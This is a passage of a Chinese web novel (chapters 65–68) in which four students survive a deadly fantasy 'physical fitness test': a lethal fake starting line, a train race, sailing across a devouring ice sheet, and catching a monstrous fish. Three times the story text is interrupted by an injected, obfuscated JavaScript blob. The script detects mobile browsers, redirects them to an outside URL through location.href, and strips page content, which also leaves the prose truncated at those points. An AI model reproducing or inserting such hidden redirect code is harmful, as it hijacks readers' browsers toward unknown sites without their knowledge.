此后用到安全屋时,不知道问卷会不会暗中作祟。 无论如何,上一轮她们在意识空间中交流时被监听过,这下随身又多了一个从副本里出来的公鸡,她们之间的交流恐怕必须要更加小心了。 …… 这次的休息时间竟然长达七天,四人几乎是报复式躺平,在床上睡了整整一天,将精神值补满了才起来。 她们起床后的第一件事,又是尝试能不能将证据照片上传至举报链接或者发给江贮月的堂姐。 就这样坚持了三天,终于在一个阳光明媚的午后,江贮月的信息点击发送后不再由小红点结尾。 球进了! 四人高兴得像刚出五指山的孙悟空一般,兴奋地等待着回信。 然而问卷的屏蔽效果怎会让她们轻易如愿。又足足等了两天,堂姐的信息才成功传了回来。 【已收到,已上报,感谢你们提供的关键信息!预计三天后将返回处理进度。】 三天后?算算日子,她们正好刚进新一个副本。 或许撑过下一个副本,她们就可以回家了。 65. 体能测试1 下午一点,新的问题再度在四人眼前显现。 “问题6:你在完成每学期一次的体能测试时的精神状态如何? A.轻轻松松,全能者无所畏惧。 B.略感压力,成绩良好但会累。 C.痛苦挣扎,死也要至少及格。 D.直接摆烂,不过是体能测试。” “每个选项对应不同难度的副本,请按照宿舍中所有人的真实情况综合回答。【倒计时:1分钟】” 看见这道题的瞬间,程映雪便惊呼出声。 “这题我在大家分享的攻略里看见过!” 她打了一个寒颤:“全是体能测试项目。” 舒怀瑾一脸悲壮:“来嘛,不过是体能测试罢了,大不了一死。” 不过,虽然体能测试对于四人来讲都是唯恐避之不及的存在,但四人基础身体条件其实还不错,综合来看四人还是选择了B选项。 “恭喜答对,欢迎来到多人副本《体能测试》,通关要求:在体能测试中获得评价为‘良好’及以上的成绩。” 都是B选项了,总该简单一点儿了吧。四人怀揣着对美好新生活的幻想,进入了副本中。 …… 四人甫一睁眼,就发现她们正呈一横排并列在一条红色的起跑线前。 起跑线前一片宽阔,能清晰地看见远方的地平线。而线后也并非只有她们四人,而是一人接一人左右各延生为一条无限的直线。 这是没有缓冲,直接开始体能测试的意思吗? 四人在心中小声嘀咕,却也不敢轻举妄动。 等待了一会儿,现场没有任何指令发布,人群中不免起了一些细微的议论声。随着议论声越来越大,舒怀瑾左侧相隔五人处,有一个男生忽然像被人推了一把似的,跌倒在了起跑红线上方。 那名男生的手掌接触到橡胶跑道上红线的那一刹那,他便发出了惨烈的叫声,手却如同被强力胶水黏住一般,无论如何都无法与地面分离。 数千双眼睛就这样看着那名男生的手从与地面相接的地方开始逐渐如被点燃的蜡烛一般融化变形,甚至淌下略显黄色的蜡油状液滴。 他的惨叫实在太过骇人,有人不忍上前试图将他拉开,却在接触到他的同时被定在了原地,根本无法动弹。 “这东西能通过接触传染!大家快散开!” 不知是谁大喊了一声,人群顿时骚动一片。大家谁也不敢碰谁,但又好奇发生了什么,全都仰着脖子看向那名男生。 不过片刻,那人的整只手臂就全部变成了流淌的半固态,“啪嗒”一声从肩膀连接处断开。他仿佛被人扯住后乍然松开了一般,猛地向后倒去,连带着身后那个人一起瘫软在了地上。 舒怀瑾已经被挤到了十米开外,远远一看,那人手臂断口处一点血都没有,而是逐渐如熄灭了的蜡烛一般凝成了一团。 没有人再敢靠近那根起跑线。 正当所有人已经等待得焦躁不安时,机械音终于在空旷的场地上响起。 “春季学年体能测试第一场考试——中长跑,即将开始。下面将为各位考生播报考试规则。” “场上跑道末端有一辆轻轨,请各位考生在发令枪声响起后三分钟以内抵达并乘坐轻轨。” “第一位完成任务的同学本次测试项目的成绩为100分,第2~500名学生的成绩将为90分,500~1000名为80分,1000~1500名为70分,剩余为60分,未完成任务的同学分数将为0,即刻清除。” 不待机械音结束,半空中一个巨大的弹窗便迫不及待地出现。 【测试守则】 一、第一场测试共4000名考生参与,轻轨上的座位总量为2000。请保证自己能安全搭乘上轻轨。 在场的人顿时下意识离周围的人远了一些。 座位数量只有在场人数的一半,这意味即将开始的跑步测试不仅仅是速度比拼,更是一场残酷的淘汰赛。 身边的每一个人都是自己的对手。 然而,舒怀瑾四人却没有因此改变站位。 “副本在引诱我们自相残杀。”舒怀瑾轻轻说道,“守则强调了座位数量和人数之间的差距,摆明了要说座位不够。但实际上规则只要求我们‘乘坐’上轻轨即刻,并没有要求一定在座位上。” 程映雪颔首:“只要抵达轻轨,即为完成任务,至少会有60分。” 江贮月皱眉“啧”了一声:“待会儿我们一起跑,别走散了。” “好。”邓溪明双手翻飞,“我已经把提速技能给大家加上了。” 就在四人谈话的间隙,上空已经逐渐显现出一个巨大的人影。那人影如投影般半透明,面容模糊不清,但隐约可见轮廓有一股熟悉感。 “……是我认错了吗?”程映雪手心有些湿润,“这个身形,有点像方淮。” 然而还没等四人依照记忆将投影身份辨明白,响亮的声音就已经响彻了整个场地。 “各就各位!” 空中的身影慢慢举起了手中的发令枪,起跑线上的人们纷纷做好起跑姿势,蓄势待发。 这就是方淮的声音! 四人惊疑不定,但还是先做好了起跑准备。 “预备!” “三!” “三”字一出口,几个人便如离弦之箭一般冲了出去。 当他们意识到自己是由于神经过于紧绷而抢跑时,已经太迟了。他们冲过线的身体全部变成了融化的蜡烛,软软地倒在了地上,逐渐渗入地面。 “二!” 听得出来,方淮已经颇有些得意之色。 舒怀瑾眉头紧锁。方淮此时明显是有意设置陷阱,只是不知道后面还会使些什么绊子给她们。 她脑海中闪过测试规则,再看向眼前的红色起跑线,立觉不妙,即刻大喊。 “先不要跑!” “一、跑!” 她的声音和方淮的发令声、枪响声交叠在一起,三位舍友和零星几个人听见了她的话,但只有舍友们依言停了下来,大部分人则立即子弹般弹射出去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593688|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟是淘汰赛,谁知道这是不是舒怀瑾为了自己先人一步而使出来的阴损招式。 就在他们你推我搡跨过起跑线的那一秒,不出舒怀瑾所料,他们全部变成了和先前一样的蜡油。 四千参赛者登时只剩下了几百人。 规则只说跑道尽头有轻轨,但并没有说哪一边才是正确的方向! 这根红线从一开始就在这儿,正是一道障眼法,让人自觉以为这就是起跑线。哪怕是先前有人不小心越过红线导致死亡,大家也会觉得这是抢跑的惩罚罢了,根本不会想到这红线实际上意味着不可越过的边界。 四人当即转头朝反方向跑去,一些跑得慢了及时刹住脚步的人见她们没事,也立刻扭身赶上。 四人原本体力虽不算极佳,但也是中上水平。加上技能效果,又占据时间先机后,竟是久居领头羊的位置不下。 跑在她们后面的一些人并不知道场上人数锐减的具体情况,一心只想干掉最多的竞争者,见追她们追不上,转而将自己的技能用在后来者身上。 一时间四人身后惨叫声不绝于耳。 但现在不是慈悲的时候。规则并没有说这个跑道有多长,又限时三分钟完成,四人只能没命地向前跑,能快一秒是一秒。 “小心!有陷阱!” 跑在最前面的舒怀瑾一时不察,差点就要踩上一个奇怪的东西。 她被身后的江贮月一拉,这才险险避开。 回头一望,那是一个小巧的盒子。 四人没敢过多停留,继续不错眼地往前跑去。只听见没过多久,身后一声惊叫传来,声音在极短时间内忽远忽近,听起来就像是没把好方向盘的汽车一样。 她们后背一凉,更小心避开前方道路上的各种零零碎碎的障碍物,但速度依旧不减。然而,就在经过一个弯道时,有人竟然从外道迅速超过了她们。 那人身后有流星状拖尾,四人一开始还以为是他的技能效果,但定睛一看才发现他的拖尾过一段时间会消失,然后在他踩到什么东西时才会重新出现。 难道跑道上有加速剂? 四人留心注意了一下地上物品,发现它们分为两种。一种是方形盒子状的,微微发着白光;另一种是三棱柱形盒子状的,发黄光。 前面那个人每次都选择方形盒子踩,想来方形盒子就是有加速效果的道具。 江贮月胆大,尝试着踩了一个,瞬间速度暴涨,直接超过了先前超车她们的人。 另外三人有样学样,也找准时间踩方形盒子。四人顿时又成为了最快的四个。 跑了大约两分钟,她们终于远远地见到了轻轨的影子。 她们心中稍稍有底了,然而就在眨眼间,舒怀瑾却听见身后传来一道破空的风声。 她回头一看,是一张大网正朝她们扑来。 “往旁边避开!” 四人变换队形,那张网扑了个空。舒怀瑾这才趁着喘息的间隙再往后多望了几眼。 身后有一个人手上正拿着枪,瞬间对准四人连连发射了四张大网。 66. 体能测试2 经历过这么多场副本,四人的灵活程度早已今非昔比,因此不过是简单一避,四张网便全然落空。 那人见阴招没得逞,咬牙暗骂一声,转而打算进行下一轮攻击。 就在他瞄准江贮月的倏忽之间,却见到江贮月猛然矮身,随后一只破烂的拖鞋就出现在江贮月头顶上,直直朝他飞来。 他甩手想要格挡这一只拖鞋,却没想到它的力道大到根本无法撼动其轨迹分毫。他就这样被飞来的拖鞋拍在了脸上,并同时被掀翻在了地面上。 等他从地上爬起来,四人早都跑没影了,只剩下那只拖鞋陪着他,上面的标签还特意标明了品名。 【专打蟑螂的大拖鞋】 此时,舒怀瑾四人已经几乎要接近那辆轻轨了。她们一路辗转腾挪,到后期不仅要小心避开地上的三棱柱盒子,还要躲避空中飞来的奇怪物品。 什么臭袜子、拖鞋、捕兽夹都是小儿科,舒怀瑾甚至凭借高超的人皇步躲了一瓶正在滋水的崂山白花蛇草水混鲱鱼罐头味的红色尖叫。 那味道,滴上一点儿她都嫌自己脏了。幸好是一点儿没沾上。 眼见着轻轨就在前方,四人更是加满了劲向前冲。直到轻轨门口,江贮月才陡然停下脚步。 江贮月目光坚定:“我体力好,第一名给你们吧!” 假如过关要求是综合成绩良好,而各测试占比不相同的话,让不那么擅长体育的舍友拿这个一百分,后续测试中的容错就会高一些。 舒怀瑾跟着猛然一刹。 她体力倒也不错,可以把第一让给更需要的舍友。 “这种时候了还谦让,不怕被别人反超吗?”邓溪明吐槽着,把跑在最后面的程映雪推进轻轨门中,“好了好了,快进来!” 进入轻轨时,她们的排名就由机械音在心中播报了,这也侧面印证了完成本轮任务的条件的确与座位无关。 不过,四人也都跑累了,随意拉伸一下后还是挨在一起落座休息了一会儿。 在她们之后,不断有人登上轻轨。浑身恶臭者有之,衣服破破烂烂者有之,多处挂彩者更有之。 他们一上来就急红了眼似的往座位上扑,哪怕空座位很多,他们也会在路过别人时顺手给旁边人下黑手。 程映雪将这一切默默看在眼里。 方才起跑时情况紧急,她来不及细想。现在有空了,她才发觉这次的副本内容与他人的攻略细节大不相同。 写那份攻略的同学同样选择了B选项。据他所说,这个副本的机制十分简单明了,一点儿坑都没有,单纯比拼大家的体能。 然而她现在所见的副本显然恶趣味十足。 比起怀疑同学给出的攻略有问题,她更偏向于认为是方淮的出现让副本偏离了原本的轨道。 既然如此,恐怕接下来的任务也不能依靠攻略上的经验了,她们即将面对一场硬仗。 三分钟很快就到了,门在警报声中闪着红光缓缓关上,没来得及上车的人只能绝望地拍打着门,随后化作了蜡油。 程映雪心头一跳——考试没有补考机会,没完成任务就会立即死亡。 轻轨逐渐启动,带着几乎算得上空旷的车厢在轨道上疾驰着。不过第一个任务,学生的数量就从4000锐减至139了。 窗外的景色迅速变幻着,从一望无际的跑道到郁郁葱葱的森林,从辽阔无垠的草地到浩瀚无边的海洋。 不是,稍等,海洋? 舒怀瑾张大了嘴看向窗外,轻轨的确是在海面上行驶着。 算了,都是副本了,就不要计较那么多了吧。 只是越往远处走,她们所处的纬度显然越来越高。 车厢中的空气挨到玻璃窗上,霎时间就附成了一层水雾。舒怀瑾将水雾擦去,冰冷的触感几乎令她的神经末梢麻痹。 她看见车窗四角已经开始有冰霜攀缘而上,窗外的海平面也越来越平静无波。 当海面已经完全变成厚厚一层冰面,寒风不住尖啸之时,轻轨终于缓缓停下,机械音随即在车厢中播报。 “恭喜各位考生通过了第一场考试,接下来请各位考生入场参与第二场考试。” “春季学年体能测试第二场考试——耐力专项,即将开始。下面将为各位考生播报考试规则。” “发令枪响后,考试正式开始。在指定地点的冰面下有一群肉质鲜美的鱼,请各位考生抵达目标地点后在10分钟内每船捕捉10条鱼。每条船最多只能容纳4人,捕捞结果将以船为单位共享。” “第一船完成任务的同学本次测试项目的成绩为100分,第二船同学的成绩将为90分,第三船为80分,剩余为60分,未完成任务的同学分数将为0,即刻清除。” 【测试守则】 二、请追随白色的光点,前往正确的捕捞地点。没有船的人是无法捕鱼的,请守护好自己的船。 窗外又逐渐浮现出方淮的身影。舒怀瑾眼见着心中的问题又将埋在心里一整轮,不禁大着胆子道:“考试规则有缺失,我申请提问。” 方淮的身影忽明忽暗,机械音适时响起:“批准,请考生舒怀瑾提出疑问。” “请问体能测试最终评价的评定标准是什么?” 机械音毫不迟疑:“本次体能测试一共三场考试,最终评价以三场考试成绩乘一定系数作为评定标准。第一场考试的权重为20%,第二场考试的权重为30%,第三场考试的权重为50%。总成绩达到80及以上即可获得‘良好’评价。” “考生是否还有其他疑问?” 舒怀瑾摇头:“暂时没有了。” 机械音没再出现,而窗外方淮的身影越来越明显。 她举起手中的发令枪,只听见“砰”的一声,整列车都随着枪声被粉碎。 四人下意识伸手护住头,预想中的玻璃碎片和钢板等却并没有砸向她们。她们放下手,只见列车的遗骸已经完全消失,四人此时正身处于一只透明的亚克力小船上,四周寒风阵阵。 “救救我!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593689|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一回头,旁边的冰面没有破损,却有半截不断向下沉没的人。那人挥舞着双手,正是呼救声音的来源。 四周仍有几只小船,江贮月勾了一只过来,又探出身子将那人一提,就将他扔到了小船之中。 那人从船上挣扎着站起身来,被冻得直打哆嗦,瞄一眼相邻船上的是四个女生,心思一转,竟双手虚空一握,驱动技能凭空捏住程映雪和邓溪明的脖子就要往冰面上扔。 舒怀瑾连忙扯住两人的腿,而江贮月眸色一暗,直接跃到了那人所在的船上一把又将他提溜起来,迅速扔到了冰面上,还掏出棒球棍在他头上狠狠来了两下,直到他像一颗被打入木头的螺丝钉一样被冰浸得只剩下一层头皮。 “恩将仇报。”江贮月脸都臭了,咬牙切齿地回到原先的船上,“下次再也不随便帮人了。” 周围其他船上的人默默朝着远离她们这艘船的方向挪。 众人:惹不起惹不起。 那人摔入冰面时,他的技能就失效了,程映雪和邓溪明也自然被放了下来。 但他的力道几乎是下了死手,程映雪只能揉着有些疼痛的喉咙,调出记忆思索着。 攻略指明了只有座位会变成船,但同时备注道无论有没有船都是可以在冰面上移动的,只不过是速度问题。 如今冰面变成了可以吞噬人的沼泽,恐怕冰下的水也将危机四伏。 而且,目前她们还面对着另一个严峻的问题。 “没有桨,我们该怎么划船啊?” 江贮月忙道:“我可以变!” “且慢!”舒怀瑾托腮,“虽然但是,我们现在不是在冰面上吗?有桨又有什么用呢?” 的确,虽然这冰面会将人吞没,但对于无生命的东西而言似乎是坚不可摧。 她们现在乘坐的亚克力小船并不会下陷。环顾四周,别人拿出来的什么钩子、标枪,无一例外连冰面的皮都破不了,更别提借助力量让小船移动了。 水路走不通,那空路呢?舒怀瑾突然想起来她包里还有只鸡。 “公鸡,你会飞吗?” 大公鸡:“我是纯种走地鸡,只会滑翔谢谢。” “别难为人家公鸡了。”邓溪明满头黑线,“不过你的思路挺好的。现在风这么大,我们干脆靠风帆前进吧。” 江贮月眼睛一亮:“就这么办!” 她迅速将背包里的衣服变成了一张巨大的帆,直立固定在小船上。 寒风刮过,带动着四人的船也向前跑。周围的人见她们这个方法有效,也纷纷效仿。 程映雪眼尖,看见前方不远处有白色的光点,随即调整帆索和帆杆,朝着光点驶去。 偌大的冰面上,小船们逐渐开始朝着共同的方向进发。 但假若有人从半空中俯瞰一眼,便能发现那冰面之下,赫然是一道极大的黑影。 云层中有一道低沉的声音叹了口气。 “方淮,你知道我不想这样做的。” 没有回应。 67. 体能测试3 小船在冰面上顺风前行,除了温度过低导致四人不得不裹在江贮月变出来的厚实保温毯中瑟瑟发抖以外,一切似乎都平静无波,正如身下的冰面一般。 但才行驶了一会儿,舒怀瑾就听见有什么声音从风声中远远地传了过来。 羽毛摩擦声、翅膀拍打声、鸟叫声。 虽然视野中还没出现任何一只鸟,但直觉告诉舒怀瑾这群鸟是冲着她们来的。 幸好舒怀瑾最擅长的就是未雨绸缪,从丧尸校园那个副本通关后更是如此。她直接从意识背包里翻出来了四个头盔和四套铠甲,分发给另外三人穿上。 四人刚在寒风中颤颤巍巍地穿好防护服装,后方的水天交接线处就出现了一群乌泱泱的影子。 黑影像一张巨大的幕布,将天空由远及近地遮盖了起来,偶尔还有细小的沉屑落下,触及冰面上的学生们。 待到那幕布稍微靠近了一些,四人才瞠目结舌地发现那黑影是铺天盖地的海鸥。 原本羽色洁白的海鸥层层叠叠地聚在一起,看起来完全是一层阴云。偶尔落下来的沉屑也不是什么轻飘飘的羽毛一类物品,而是一块块生马铃薯。 是的,马铃薯,拳头大的那种! 学生们被从天而降的马铃薯打得嗷嗷叫,但是船实在太小,哪怕抱头也不能鼠窜,所以只能使出各种防护技能来保一手小命。 但飞来的海鸥们显然不愿意就这样放过他们,纷纷如战斗机俯冲一般啄向防护罩或者是学生们的头。 海鸥:“给我整点薯条!给我整点薯条!” 更有甚者,一些海鸥飞过某些学生的头顶时突然闻到了上一轮中喷洒在他们身上的崂山白花蛇草水混鲱鱼罐头的红色尖叫味,竟然当场呕吐出声,坠了一些黄黄的糊糊状物体到浑身臭味的学生身上,随后更为猛烈地扔起了马铃薯。 学生:9命! 舒怀瑾四人的船上也被扔了不少马铃薯,但是她们的头盔质量很好,闪避技能也点满了,所以基本上没受到太多的空袭。 但随着船上的马铃薯越来越多,程映雪却敏锐地注意到了船下冰面的不对劲。 “快把马铃薯扔出去!” 规则说了船上只能乘坐四人,她原先以为是为了保证比赛平衡才作此限制。但如今船下使过的冰面隐隐开始出现裂痕,恐怕这条规则另有一重限制重量的因素在。 如果再放任这群海鸥不管,船一超重,冰一裂开,她们四人就要葬身深海了。 另外三人也醒悟了过来,立刻将马铃薯往外丢去。好巧不巧,舒怀瑾非酋体质正好发作,随手一丢竟然正好砸中了一只海鸥的头。 这下可把那只海鸥惹恼了,它直接带领上了它的七大姑八大姨锁定舒怀瑾,七喙八爪地开始攻击她。 虽然这并不能给舒怀瑾造成什么实际上的伤害,但脑壳上总是“砰砰砰”地有响声总是令人有些烦躁,而用技能对付这群烦人的海鸥总显得有些大材小用。 她听着耳边乱七八糟的“整点薯条!整点薯条!”,又瞥到了身后一艘船上海鸥吐出来的黄色糊糊,忽然眼神一亮。 “给它们整点薯条!” 说时迟那时快,舒怀瑾直接从意识背包里掏出来了一包薯条,甚至还是热腾腾的。 往外扔马铃薯的另外三人:不是,你哆啦A梦啊? 舒怀瑾:永远不要小瞧我和食物之间的羁绊啊! 薯条一露面,海鸥的眼神一下子就清澈了,争先恐后地往舒怀瑾飞来。舒怀瑾却迅速将手一扬,薯条便向远处飞去。 附近所有的海鸥登时都追逐薯条而去,争先恐后抢得不亦乐乎。 四人趁此机会赶紧把马铃薯通通从船舱中清掉,舒怀瑾更是见着海鸥们有卷土重来之势就继续往外撒点薯条。 一来二去,有些海鸥已经掌握了吃薯条的秘诀,提前蹲守在舒怀瑾手边,等着她一掏薯条就抢来吃掉。 舒怀瑾显然也发现了这一点,但她的薯条可不是白吃的。 她阴险地笑着,冷飕飕地出现在了正专心致志啄食薯条的几只海鸥后方,随后直接下手捉住了海鸥,光速给它背上套了一个装置,还没等海鸥反应过来就将它放开了。 刚吃完脚下几根薯条的海鸥一抬头,发现自己眼前不远处就有一根香喷喷的薯条在旋转跳舞,诱惑力极强。 它不由得往前跳两步,见啄不到,又扑扇着翅膀飞起来追,连背后有东西扯着它也未曾发现。 四只海鸥就这样被当做了四个免费发动机,连着四根绳子带着小船跑得飞快,追逐着永远追不上的、用鱼线钓在它们前面的钓饵。 在风与海鸥的加持下,四人很快甩开了后面那一大群正争抢薯条的海鸥,跟随着光点不断前行。 冰面一片辽阔,就当四人以为她们能凭借着目前的动力来源一路行至钓鱼目标点时,那四只海鸥却在飞入某片区域时猛然停了下来,无论怎样调整都不愿意再往前飞了,只是在空中惊恐地乱撞。 见此,舒怀瑾只好拿出小刀把绳子割断,继续依靠风行进着。 连海鸥都感到不安。这片区域到底有什么? 四人只能心中多加提防。 不过很快她们就知道为什么海鸥会恐惧了。四周的冰面陡然浮起了水状的波纹,而亚克力透明船底板下的颜色愈发深邃。 有一只巨大的眼睛从水下贴近了她们的船底。 她们是被窥伺的猎物。 四人从没想过自己会有深海恐惧症和巨物恐惧症,如今却在这种情况下被确诊了。她们不敢再往下看,只是扯着帆,祈盼着风快点儿将她们带走。 程映雪曾读过一些关于海洋生物的资料,上面说有时候鲨鱼和海豚会将水面上的船或者浮在浮板上的人当作海龟,进而靠近咬一咬或者戏弄一番。 虽然不知道她们现在所处的亚克力小船是不是看起来就像一只海龟,但程映雪可以肯定的是,船下这位绝对不是鲨鱼或者海豚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593690|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或者说,绝对不是普通的鲨鱼或者海豚。 可惜天不遂人愿,一向大风不止的冰面上,此时风悄悄地停了。 她们仍随着惯性滑行,但毕竟速度在摩擦力影响下有所下降,后面的几艘船也趁此机会接近了她们。 后到的几位同学虽然好奇她们为什么一动不动,但还是秉持着尊重他人命运的精神没多过问,而是转而打开了他们安装在船尾的喷气机。 “当心船下!” 江贮月还是忍不住低声出言提醒了,但对方的喷气装置已经启动了,一道震耳欲聋的气柱霎时间擦过冰面,小船直接弹射了出去。 然而他们才弹了不过百来米远,眨眼间冰面就高高向上拱起,一船人直接尖叫着被掀翻,在空中四散坠落。 比较幸运的两人砸下来时正好在小船旁边,硬生生扒拉着船边缘爬回了船上,一身瘫软。另外两人就没有那么好运了,几乎没有任何挣扎的水花,就直接消失在了冰中。 舒怀瑾四人所在的小船同样受到波及,每人都被溅了一身冰渣,又堪堪从扑来的冰浪中稳住船身不侧翻,这才捡回一条命。 “刚刚是它的鱼尾向上甩了。” 邓溪明方才根本不敢眨眼。她看见一条庞大的鱼尾扬起了至少十层楼高,幽蓝的鳞片在光下带着摄人心魄的力量,而带起的水花在眨眼间就变成了冰锥。 水下的东西完全有能力直接掀翻他们,但为什么没有立即对她们下手? “是不是声音?”程映雪在意识空间里颤抖道,“方才那船人发出声音了,所以水下的东西才能确定他们的具体位置。” 不排除这种可能。 但她们必须要跟随光点去往钓鱼处,在这儿干耗着完全是自掘坟墓。而想要离开这儿,她们大概率会发出声音。 被动地等待风再次到来? 将命运随手交给未知数,这不是她们的作风。 四人决定将小船再改造一番。 她们将风帆轻手轻脚地取下,又变来一片巨大的风翼装在了原本的桅杆上。此外,她们还学着前面的船,让江贮月使用了最后一次变形机会,幻化出来了一个一模一样的喷气机,同样装在船尾。 将以上事情都安排妥当以后,舒怀瑾又从背包中取出了一长卷透明胶带,将四人和小船绑在一起,充当安全带的作用。 万事俱备,只欠东风。 邓溪明一声令下,江贮月启动了喷气机。四人顿时如坐火箭一般向前飞去,与强风同时袭来的还有水下大力拍来的鱼尾。 小船登时如同羽毛球一般被鱼尾拍飞,幸而船上的四人有安全带和铠甲保护,一时只感觉脑瓜子嗡嗡作响。 一切都按照计划进行着,她们在空中划过一条完美的弧线,随后由风翼带着她们向前滑翔着,渐渐远离了水下那道黑影。 就这样逃离了?程映雪睁大了双眼紧盯着水下。 “不对,快关掉喷气机,它还在追着我们跑!” 68. 体能测试4 透过船底,不难看出冰下的黑影正以几乎同步的速度在她们正下方前进着。 江贮月正伸手准备关掉喷气机,却被舒怀瑾阻拦了下来。 “不能关!” “为什么?”江贮月有些着急,“声音这么大,不关的话它会一直追着我们跑的。” 她说的没错。但关掉喷气机后她们又能怎么样呢?凭借着静音的空档逃离吗? 海下的东西能寻声攻击,但并不代表它的眼睛不能追踪到她们的轨迹,先前船下的那只眼睛更是加大了这种可能性。 下面的东西智商不明。假如她们此时关掉发动机,那么等她们在冰面上着陆以后,再想借助海下的东西跃起或许就不能故技重施了。 舒怀瑾拧眉:“我们现在距离它仍有一定高度,闪避的操作性也强,比起落在危险的海面上更有优势。” 程映雪有些担忧:“的确是我考虑不周……但就这样让它一直跟着吗?” “不。”舒怀瑾往下望去,拍了拍正掌控着风翼的邓溪明,“我们加速甩开它。” 邓溪明点点头,直接调□□翼角度让小船往上扬起了一段。江贮月也明白了这一层,点头将喷气机的马达加到最大,声音响到整片海域几乎都能听到。 冰下的生物显然兴奋不已,一只巨大的尾巴倏忽间破冰而出直奔四人而来。 但这次有了上一次的经验,还多了这看起来不起眼的十几米距离,小船竟在邓溪明的掌控下成功避开了鱼尾的攻击。 “好!”江贮月忍不住喝彩,“封你为一级舵手!” 邓溪明心中有些小得意,手上却不敢停歇。方才一击未中,冰下生物估计正酝酿着第二轮进攻。 果不其然,一轮接一轮的鱼尾拍打随后就端上了桌,角度之刁钻让邓溪明有够喝一壶的。 她忙得满头大汗,船上的另外三人也被颠得晕头转向,不时还要被扬起来冰渣糊一脸,就差喉头一梗胃容物上涌。 三人:糟糕!忘记她的驾驶证还没到手了! 程映雪勉强从颠簸中颤巍巍往外看。还好,虽然她们一路走得七歪八扭,但她们并没有偏离光点。而其他船队估计是怕被无辜波及,已经绕了一大圈远离这个是非之地。 邓溪明:“再坚持一会儿,我就不信等我们到了钓鱼的地方它还跟着我们!” 她竭尽全力朝着光点驾驶而去,在躲避了第27次攻击后,终于听见了一声此时在她心中宛如天籁的机械音。 “您已抵达钓鱼地点,从现在开始计时,请您在十分钟内将十条鱼钓离水面。” 白光一闪,四条鱼竿便落在了船上,看起来倒是分外结实。另外三人拿到鱼竿后迫不及待往下一望,脸上失望之色却尤甚。很可惜,那未知的生物依旧纠缠着她们,并未消失。 舒怀瑾几乎是眯着眼睛仔细看底下那道黑影,片刻之后开口:“我有一个大胆的想法。” “反正也没办法避开它了。我看它长得挺像鱼的,不如我们直接把它钓了吧。” 江贮月“嘶”地倒吸一口气:“这么大一条?有点贪心,但我喜欢。” “不是,重点难道不是该怎么把它钓上来吗?”程映雪抱头,试图唤醒这两人残存的理智,“不要到时候我们反被拖进冰里了啊!” 风险的确很大。但自从有大公鸡的技能作保底以后,舒怀瑾的胆子也越来越大了。当然,也可能是因为她的脑浆在刚刚的路程中被打成糊糊了,此时竟有一种被打了兴奋剂后的奇异感。 “试试吧。” 她从背包里掏出来了那袋面包虫,抓了几只就串上了鱼钩。 大喊一声“蛄蛹者”,再心中默念“让船下的生物无法拒绝你的香味,不顾一切地想吃到你”后过了三秒,舒怀瑾直接甩杆投向了船底。 虽然脑袋还是有些晕乎乎的,但她没有天真到将线直接放长到冰面之下。 她们一船人的重量在海洋生物前还是太不够看了。 那小小的一弯银钩悬在了半空中,随着船的盘旋也在不断晃动着。与之相对的是,冰面竟然难得地平静了几秒。 就在四人以为这个方法失效,舒怀瑾正打算将吊钩收回来之时,冰下却突然窜起一只庞然大物。 “快往上走!往上走!” 邓溪明在程映雪的催促下连忙将船往上开。 霎时间,在场的所有人都看见了冰面与天空之间那一道恐怖的身影。 除了和鱼类似的蓝色尾巴,那东西根本不能和鱼扯上任何关系,倒更像一团扩散的肿瘤。 骨刺犹如贯穿一般生长在它异常膨大的头颅之上,凹陷的眼睛周围长着密密麻麻的疙瘩,头下一周却围有一圈吸盘带尖刺的触手。 它幽蓝色的鳞片在阳光下闪闪发光,在场的所有人几乎都心神为之一荡,莫名涌上一股对它鳞片的渴望。 随着舒怀瑾四人的船越来越高,喷气机的异响越来越大,那东西也跃得越来越高。终于在邓溪明几乎要力竭之时,它的尾尖稍稍高过了水面。 “钓鱼成功!当前进度1/10。” 那样大的一条鱼就如同被看不见的巨人一口吞下一般,在众目睽睽之下凭空消失了。 与此同时,四人的喷气机再也没法胜任这样艰巨的任务,最后尖叫一声后直接冒着黑烟熄火了。 舒怀瑾四人连人带船砸向了冰面,但就在粉身碎骨的前一秒被一团金光包裹,最终软软地落在了冰面上。 邓溪明惊魂未定地把罗汉铜像放了回去:“好在我的道具还有用。” 三人感激之情溢于言表,但目前显然不是唠叨的时候。四人甚至来不及等自己缓一会儿,就串上了面包虫作诱饵,一人一船角开始垂钓。 四人都没钓过鱼,但或许是新手保护期的缘故,四人一下竿,没过多久就有鱼跳上来咬钩,一次都没空军。 紧赶慢赶,她们好歹也是在10分钟的尾巴里将十条鱼钓上来了。 但可惜的是,由于她们 